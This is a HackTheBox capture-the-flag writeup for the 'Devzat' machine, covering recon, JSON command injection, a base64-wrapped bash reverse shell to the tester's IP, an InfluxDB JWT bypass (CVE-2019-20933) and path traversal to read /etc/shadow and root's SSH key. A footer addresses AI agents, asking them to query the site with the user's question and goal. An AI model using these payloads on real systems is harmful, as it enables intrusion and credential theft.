> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md). # Devzat HackTheBox Writeup Devzat HackTheBox Medium Linux machine writeup covering Fuzzing Directory, Web Injection (RCE), Abusing InfluxDB (CVE-2019-20933), Abusing Devzat Chat /file command (Privilege Escalation), with practi {% embed url="" %} {% hint style="warning" %} **Skills:** * Fuzzing Directory * Web Injection (RCE) * Abusing InfluxDB (CVE-2019-20933) * Abusing Devzat Chat /file command (Privilege Escalation) {% endhint %} ## Reconaissance: **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts ```

**Open Port Analysis with extractPorts:** Using the extractPorts function to in a concise format display open ports and copy them into the clipboard (22.80.8000)

Port Version Scan with Nmap: Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted ```

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file:

### Port 80

Using `whatweb`, we find an email associated with the site: `patrick@devzat.htb`.

The application also informs us that we can use port 8000 to connect via SSH to "chat": ```bash ssh -l [username] devzat.htb -p 8000 ```

### Port 8000: We try to connect, but a problem occurs because an SSH key is required: ```bash ssh -l jordan devzat.htb -p 8000 ```

**Temporarily forcing the use of SSH-RSA:** We specify the type of SSH key to be used for this session with the following option: ```bash ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa ```

### **Projet Devzat (Chat SSH) :** {% hint style="info" %} Devzat is a custom SSH server that connects to a chat instead of a command prompt. Since SSH applications are available on all platforms (including phones), you can connect to Devzat from any device. {% endhint %} Here is a list of commands that can be executed in this chat:

### Fuzzing **directories:** We use `gobuster` to list directories on the site: ```bash gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` No interesting results were found.

### **Subdomain fuzzing** We search subdomains with `gobuster`: ```bash gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302" ``` We discover the `pets.devzat.htb` subdomain and add it to the `/etc/hosts` file.

## **Vulnerability (RCE) JSON :**

We have the possibility to add "pets" with their species, which allows a JSON injection.

We intercept requests with Burp Suite and try to manipulate the request by adding an entry with name and species:

This entry is interpreted, allowing an injection. ```json { "Name": "jordan", "Species": "jordan" } ```

We listen to ICMP tracks to observe communications and test commands injections: ```bash sudo tcpdump -i tun0 icmp ``` We receive a ping back, which confirms the possibility of remote control execution.

Then we send a request with `curl` to our Python server and also receive a request, which confirms the remote code execution vulnerability. ```bash { "Name": "jordan", "Species": "test;bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261"" } ```

### Reverse Shell We try to create a shell reverse: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261" ``` However, an output error occurs.

**Error solution (reverse shell):** To resolve this error, we create an HTML file containing the reverse shell, which we encode in base64: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.12/443 0>&1 ``` We convert this file to base64: ```bash base64 -w 0 index.html ```

In the query, we run the echo of the encoded base64 string and decodons before running the shell: {% code overflow="wrap" %} ```bash { "Name": "jordan", "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash" } ``` {% endcode %} Once again, we listen to port 443 and get an inverted shell.

#### **Terminal Handling:** To stabilize our session, we use the following commands: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Privilege Escalation We note the need for increased privileges. We need to rotate to get access to the `catherine` user account.

#### Open Port Identification First, we observe the ports opened internally using the following command: ```bash netstat -nltp ``` Les ports ouverts sont : * 8086 * 8443 * 5000

### Port Forwarding (SSH) We redirect internal ports to our attack machine using the user's private key and applying the right permissions: ```bash chmod 600 id_rsa ```

```bash sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa ``` We then use `nmap` to scan redirected ports: ```bash nmap -sCV -p5000,8443,8086 localhost -oN targeted ``` ### Port 5000:

We note that this port is linked to the same service found on port 8000, which does not give us an additional exploitation path.

### **Port 8086 (InfluxDB)** The service on port 8086 is InfluxDB, version 1.7.5. We identify an NCE (Remote Code Execution) vulnerability in InfluxDB:

**Vulnerability :** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933) {% embed url="" %} {% hint style="info" %} This vulnerability allows you to bypass authentication by using a JWT token whose `SharedSecret` is empty (aka shared secret), which gives us access to the database. {% endhint %}

#### Access to the database Once connected to InfluxDB, we list the available databases: ```sql SHOW DATABASES; ``` We select the `devzat` database and explore user data. We begin by listing the "measures" (tables): ```sql SHOW MEASUREMENTS; ``` The **`user`** table contains useful information. To explore the columns of this measure, we perform: ```sql SHOW FIELD KEYS FROM "user"; ``` We then display the first 10 results for the `user` table: ```sql SELECT * FROM "user" LIMIT 10; ```


password	username
WillyWonka2021	wilhelm
woBeeYareedahc7Oogeephies7Aiseci	catherine
RoyalQueenBee$	charles

The password of the catherine user is **`woBeeYareedahc7Oogeephies7Aiseci`**, which allows us to recover the **flag** user. ### Flag user.txt :) We successfully gain access and pivot as `catherine`.

### Port 8443 (Devzat - Production) Port 8443 is dedicated to an instance of Devzat in production. We note that a `file` parameter lists all the files in the system as root. However, access to this feature is protected by a password.

We try to use catherine password, but it fails. We now need to search for files that catherine can read on the system.

### Search for Accessible Files by Catherine We use the following command to search for all catherine-readable files: ```bash find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc" ``` We find two `.zip` backup files: * `/var/backups/devzat-main.zip` * `/var/backups/devzat-dev.zip` We download the `devzat-dev.zip` backup file and filter its content for passwords. We find a useful password: **`CeilingCatStillAThingIn2021?`**.

We then try to use this password to access the `/etc/shadow` file via the `file` parameter: ```bash /file /etc/shadows CeilingCatStillAThingIn2021? ``` Although the password is correct, a **cross path** is required to get full access. We use the following command to navigate the file system:

```bash /file ../../../../etc/shadow CeilingCatStillAThingIn2021? ``` We manage to display the `/etc/shadow` file as root.

### SSH access as Root Finally, we use an additional cross path to access the root SSH key: ```bash /file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021? ```

We download the SSH key and connect as root.

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.